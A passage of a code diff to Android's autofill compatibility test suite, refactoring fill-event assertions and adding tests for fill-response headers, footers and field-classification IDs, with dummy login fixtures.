             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
 
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+            assertFillEventForDatasetSelected(events.get(0), "id2");
         }
     }
 
@@ -609,8 +633,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
         }
 
         // Finish the context by login in
@@ -626,8 +652,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
         }
     }
 
@@ -664,8 +692,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
         }
 
         // Finish the context by login in
@@ -680,10 +710,12 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(2);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
 
-            FillEventHistory.Event event2 = selection.getEvents().get(1);
+            FillEventHistory.Event event2 = events.get(1);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -729,8 +761,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id2");
         }
 
         // Finish the context by login in
@@ -745,10 +779,12 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(2);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "id2");
 
-            FillEventHistory.Event event2 = selection.getEvents().get(1);
+            final FillEventHistory.Event event2 = events.get(1);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -810,7 +846,9 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
         }
     }
 
@@ -851,8 +889,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
         }
 
         // Finish the context by login in
@@ -868,11 +908,12 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(2);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
 
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
-
-            FillEventHistory.Event event2 = selection.getEvents().get(1);
+            final FillEventHistory.Event event2 = events.get(1);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -921,8 +962,10 @@
             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
         }
 
         // Autofill password
@@ -936,10 +979,12 @@
             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(2);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
 
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
-            assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
         }
 
         // Finish the context by login in
@@ -954,12 +999,14 @@
             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(3);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(3);
 
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
-            assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
 
-            final FillEventHistory.Event event3 = selection.getEvents().get(2);
+            final FillEventHistory.Event event3 = events.get(2);
             assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event3.getDatasetId()).isNull();
             assertThat(event3.getClientState()).isNull();
@@ -1006,8 +1053,10 @@
             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
         }
 
         // Autofill password
@@ -1021,10 +1070,12 @@
             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(2);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
 
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
-            assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
         }
 
         // Finish the context by login in
@@ -1037,12 +1088,14 @@
             // Verify fill history
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(3);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(3);
 
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
-            assertFillEventForDatasetSelected(selection.getEvents().get(1), "id2");
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
 
-            final FillEventHistory.Event event3 = selection.getEvents().get(2);
+            final FillEventHistory.Event event3 = events.get(2);
             assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event3.getDatasetId()).isNull();
             assertThat(event3.getClientState()).isNull();
@@ -1085,8 +1138,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
         }
 
         // Change the fields to different values from datasets
@@ -1106,10 +1161,12 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(2);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
 
-            FillEventHistory.Event event2 = selection.getEvents().get(1);
+            FillEventHistory.Event event2 = events.get(1);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -1170,9 +1227,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-
-            FillEventHistory.Event event = selection.getEvents().get(0);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            FillEventHistory.Event event = events.get(0);
             assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event.getDatasetId()).isNull();
             assertThat(event.getClientState()).isNull();
@@ -1248,9 +1306,11 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
 
-            FillEventHistory.Event event = selection.getEvents().get(0);
+            final FillEventHistory.Event event = events.get(0);
             assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event.getDatasetId()).isNull();
             assertThat(event.getClientState()).isNull();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
index 587f84f..6215c42 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -21,38 +21,39 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.mockito.Mockito.mock;
 import static org.testng.Assert.assertThrows;
 
 import android.content.IntentSender;
 import android.os.Bundle;
 import android.service.autofill.Dataset;
-import android.service.autofill.FieldsDetection;
 import android.service.autofill.FillResponse;
 import android.service.autofill.SaveInfo;
-import android.support.test.runner.AndroidJUnit4;
+import android.service.autofill.UserData;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
 import android.widget.RemoteViews;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
 
-@RunWith(AndroidJUnit4.class)
+@RunWith(MockitoJUnitRunner.class)
 public class FillResponseTest {
 
-    private final RemoteViews mPresentation = mock(RemoteViews.class);
-    private final IntentSender mIntentSender = mock(IntentSender.class);
+    private final AutofillId mAutofillId = new AutofillId(42);
     private final FillResponse.Builder mBuilder = new FillResponse.Builder();
-    private final AutofillId[] mIds = new AutofillId[] { new AutofillId(42) };
+    private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
     private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
     private final Bundle mClientState = new Bundle();
     private final Dataset mDataset = new Dataset.Builder()
-            .setValue(new AutofillId(42), AutofillValue.forText("forty-two"))
+            .setValue(mAutofillId, AutofillValue.forText("forty-two"))
             .build();
-    private final FieldsDetection mFieldsDetection =
-            new FieldsDetection(new AutofillId(42), "666", "108");
     private final long mDisableDuration = 666;
+    @Mock private RemoteViews mPresentation;
+    @Mock private RemoteViews mHeader;
+    @Mock private RemoteViews mFooter;
+    @Mock private IntentSender mIntentSender;
 
     @Test
     public void testBuilder_setAuthentication_invalid() {
@@ -78,6 +79,30 @@
     }
 
     @Test
+    public void testBuilder_setAuthentication_illegalState() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
+    }
+
+    @Test
     public void testBuilder_setFlag_invalid() {
         assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
     }
@@ -110,7 +135,7 @@
         assertThrows(IllegalStateException.class,
                 () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
         assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldsDetection(mFieldsDetection));
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
         assertThrows(IllegalStateException.class,
                 () -> mBuilder.setClientState(mClientState));
 
@@ -123,7 +148,7 @@
                 new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
         assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
         final FillResponse.Builder builder4 =
-                new FillResponse.Builder().setFieldsDetection(mFieldsDetection);
+                new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
         assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
         final FillResponse.Builder builder5 =
                 new FillResponse.Builder().setClientState(mClientState);
@@ -131,22 +156,32 @@
     }
 
     @Test
-    public void testBuilder_setFieldsDetection_invalid() {
-        assertThrows(NullPointerException.class, () -> mBuilder.setFieldsDetection(null));
+    public void testBuilder_setFieldClassificationIds_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+        final AutofillId[] oneTooMany =
+                new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+        for (int i = 0; i < oneTooMany.length; i++) {
+            oneTooMany[i] = new AutofillId(i);
+        }
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setFieldClassificationIds(oneTooMany));
     }
 
     @Test
-    public void testBuilder_setFieldsDetection_valid() {
-        mBuilder.setFieldsDetection(mFieldsDetection);
+    public void testBuilder_setFieldClassificationIds_valid() {
+        mBuilder.setFieldClassificationIds(mAutofillId);
     }
 
     @Test
-    public void testBuilder_build_invalid() {
+    public void testBuild_invalid() {
         assertThrows(IllegalStateException.class, () -> mBuilder.build());
     }
 
     @Test
-    public void testBuilder_build_valid() {
+    public void testBuild_valid() {
         // authentication only
         assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
                 .build()).isNotNull();
@@ -158,7 +193,7 @@
         assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
                 .isNotNull();
         // fill detection only
-        assertThat(new FillResponse.Builder().setFieldsDetection(mFieldsDetection).build())
+        assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
                 .isNotNull();
         // client state only
         assertThat(new FillResponse.Builder().setClientState(mClientState).build())
@@ -166,6 +201,14 @@
     }
 
     @Test
+    public void testBuilder_build_headerOrFooterWithoutDatasets() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).build());
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).build());
+    }
+
+    @Test
     public void testNoMoreInteractionsAfterBuild() {
         assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
                 .isNotNull();
@@ -179,6 +222,8 @@
         assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
         assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
         assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldsDetection(mFieldsDetection));
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 4fc433d..c95e74e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -52,6 +52,7 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import java.lang.reflect.Field;
 import java.util.List;
 import java.util.Map;
 import java.util.function.Function;
@@ -114,6 +115,16 @@
     static final int UI_TIMEOUT_MS = 2000;
 
     /**
+     * Timeout (in milliseconds) for showing the autofill dataset picker UI.
+     *
+     * <p>The value is usually higher than {@link #UI_TIMEOUT_MS} because the performance of the
+     * dataset picker UI can be affect by external factors in some low-level devices.
+     *
+     * <p>Typically used by {@link UiBot}.
+     */
+    static final int UI_DATASET_PICKER_TIMEOUT_MS = 4000;
+
+    /**
      * Timeout (in milliseconds) for an activity to be brought out to top.
      */
     static final int ACTIVITY_RESURRECTION_MS = 5000;
@@ -150,21 +161,20 @@
         return id.equals(getHtmlName(node));
     };
 
+    private static final NodeFilter HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+    };
+
     private static final NodeFilter TEXT_FILTER = (node, id) -> {
         return id.equals(node.getText());
     };
 
-    private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
-        // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
-        // inside HtmlInfo, but Chromium 61 does not implement that.
+    private static final NodeFilter WEBVIEW_FORM_FILTER = (node, id) -> {
         final String className = node.getClassName();
-        final String formName;
-        if (className.equals("android.webkit.WebView")) {
-            final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
-            formName = getAttributeValue(htmlInfo, "name");
-        } else {
-            formName = className;
-        }
+        if (!className.equals("android.webkit.WebView")) return false;
+
+        final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+        final String formName = getAttributeValue(htmlInfo, "name");
         return id.equals(formName);
     };
 
@@ -407,6 +417,14 @@
     }
 
     /**
+     * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+     * not found.
+     */
+    static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+        return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+    }
+
+    /**
      * Gets the {@code name} attribute of a node representing an HTML input tag.
      */
     @Nullable
@@ -874,6 +892,50 @@
         return InstrumentationRegistry.getInstrumentation().getContext();
     }
 
+    private static Field getField(Class<?> clazz, String fieldName) {
+        final Field[] fields = clazz.getDeclaredFields();
+        final StringBuilder fieldNames = new StringBuilder();
+        for (Field field : fields) {
+            fieldNames.append(field.getName()).append(" ");
+            field.setAccessible(true);
+            if (field.getName().equals(fieldName)) {
+                return field;
+            }
+        }
+        throw new IllegalArgumentException(
+                "no field " + fieldName + " on " + clazz.getName() + ": " + fieldNames);
+    }
+
+    /**
+     * Uses reflection to get a field from an object.
+     */
+    static <T> T getField(Object object, String fieldName) {
+        try {
+            final Class<?> clazz = object.getClass();
+            final Field field = getField(clazz, fieldName);
+            @SuppressWarnings("unchecked")
+            final T value = (T) field.get(object);
+            return value;
+        } catch (Exception e) {
+            throw new IllegalArgumentException(
+                    "error getting field " + fieldName + " from object" + object, e);
+        }
+    }
+
+    /**
+     * Uses reflection to set a field in an object.
+     */
+    static void setField(Object object, String fieldName, Object value) {
+        try {
+            final Class<?> clazz = object.getClass();
+            final Field field = getField(clazz, fieldName);
+            field.set(object, value);
+        } catch (Exception e) {
+            throw new IllegalArgumentException("error setting field " + fieldName + " on object "
+                    + object, e);
+        }
+    }
+
     /**
      * Cleans up the autofill state; should be called before pretty much any test.
      */
@@ -926,15 +988,8 @@
     /**
      * Finds a {@link WebView} node given its expected form name.
      */
-    public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
-        return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
-    }
-
-    /**
-     * Finds a {@link WebView} node given its expected form name.
-     */
-    public static ViewNode findWebViewNode(ViewNode node, String formName) {
-        return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+    public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+        return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
     }
 
     private static void assertClientState(Object container, Bundle clientState,
@@ -1017,7 +1072,7 @@
                 .that(event.getChangedFields()).isEmpty();
         assertWithMessage("Event '%s' should not have manually-entered fields", event)
                 .that(event.getManuallyEnteredField()).isEmpty();
-        final Map<String, Integer> detectedFields = event.getDetectedFields();
+        final Map<String, Integer> detectedFields = event.getFieldsClassification();
         if (detectedRemoteId == null) {
             assertThat(detectedFields).isEmpty();
         } else {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
index 01878ab..66e857b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -21,5 +21,6 @@
  */
 enum IdMode {
     RESOURCE_ID,
-    HTML_NAME
+    HTML_NAME,
+    HTML_NAME_OR_RESOURCE_ID
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index a1f0a7e..331bac2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -79,7 +79,7 @@
         sInstance.set(this);
     }
 
-    public static AutofillService peekInstance() {
+    public static InstrumentedAutoFillService peekInstance() {
         return sInstance.get();
     }
 
@@ -105,7 +105,7 @@
                 return;
             }
         }
-        sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+        sReplier.onFillRequest(this, request.getFillContexts(), request.getClientState(),
                 cancellationSignal, callback, request.getFlags());
     }
 
@@ -127,7 +127,8 @@
         final ComponentName component = contexts.get(contexts.size() - 1).getStructure()
                 .getActivityComponent();
         final String actualPackage = component.getPackageName();
-        if (!actualPackage.equals(getPackageName())) {
+        if (!actualPackage.equals(getPackageName())
+                && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
             Log.w(TAG, "Got request from package " + actualPackage);
             return false;
         }
@@ -252,6 +253,7 @@
 
         private List<Throwable> mExceptions;
         private IntentSender mOnSaveIntentSender;
+        private String mAcceptedPackageName;
 
         private Replier() {
         }
@@ -262,6 +264,10 @@
             this.mIdMode = mode;
         }
 
+        public void acceptRequestsFromPackage(String packageName) {
+            mAcceptedPackageName = packageName;
+        }
+
         /**
          * Gets the exceptions thrown asynchronously, if any.
          */
@@ -371,9 +377,11 @@
             mSaveRequests.clear();
             mExceptions = null;
             mOnSaveIntentSender = null;
+            mAcceptedPackageName = null;
         }
 
-        private void onFillRequest(List<FillContext> contexts, Bundle data,
+        private void onFillRequest(InstrumentedAutoFillService service,
+                List<FillContext> contexts, Bundle data,
                 CancellationSignal cancellationSignal, FillCallback callback, int flags) {
             try {
                 CannedFillResponse response = null;
@@ -413,13 +421,17 @@
 
                 switch (mIdMode) {
                     case RESOURCE_ID:
-                        fillResponse = response.asFillResponse(
+                        fillResponse = response.asFillResponse(service,
                                 (id) -> Helper.findNodeByResourceId(contexts, id));
                         break;
                     case HTML_NAME:
-                        fillResponse = response.asFillResponse(
+                        fillResponse = response.asFillResponse(service,
                                 (name) -> Helper.findNodeByHtmlName(contexts, name));
                         break;
+                    case HTML_NAME_OR_RESOURCE_ID:
+                        fillResponse = response.asFillResponse(
+                                (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+                        break;
                     default:
                         throw new IllegalStateException("Unknown id mode: " + mIdMode);
                 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 06211b8..04abecf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -202,15 +202,53 @@
 
     @Test
     public void testAutoFillOneDataset() throws Exception {
+        autofillOneDatasetTest(BorderType.NONE);
+    }
+
+    @Test
+    public void testAutoFillOneDataset_withHeader() throws Exception {
+        autofillOneDatasetTest(BorderType.HEADER_ONLY);
+    }
+
+    @Test
+    public void testAutoFillOneDataset_withFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.FOOTER_ONLY);
+    }
+
+    @Test
+    public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
+        autofillOneDatasetTest(BorderType.BOTH);
+    }
+
+    private enum BorderType {
+        NONE,
+        HEADER_ONLY,
+        FOOTER_ONLY,
+        BOTH
+    }
+
+    private void autofillOneDatasetTest(BorderType borderType) throws Exception {
         // Set service.
         enableService();
 
         // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
+        String expectedHeader = null, expectedFooter = null;
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
+            expectedHeader = "Head";
+            builder.setHeader(createPresentation(expectedHeader));
+        }
+        if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
+            expectedFooter = "Tails";
+            builder.setFooter(createPresentation(expectedFooter));
+        }
+        sReplier.addResponse(builder.build());
         mActivity.expectAutoFill("dude", "sweet");
 
         // Dynamically set password to make sure it's sanitized.
@@ -220,7 +258,10 @@
         mActivity.onUsername(View::requestFocus);
 
         // Auto-fill it.
-        sUiBot.selectDataset("The Dude");
+        final UiObject2 picker = sUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
+                "The Dude");
+
+        sUiBot.selectDataset(picker, "The Dude");
 
         // Check the results.
         mActivity.assertAutoFilled();
@@ -2457,7 +2498,7 @@
     }
 
     @Test
-    public void testDatasetAuthFiltering() throws Exception {
+    public void testDatasetAuthNoFiltering() throws Exception {
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -2514,6 +2555,93 @@
     }
 
     @Test
+    public void testDatasetAuthFilteringUsingAutofillValue() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("DS1"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE,THE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("DS2"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ZzBottom")
+                        .setField(ID_PASSWORD, "top")
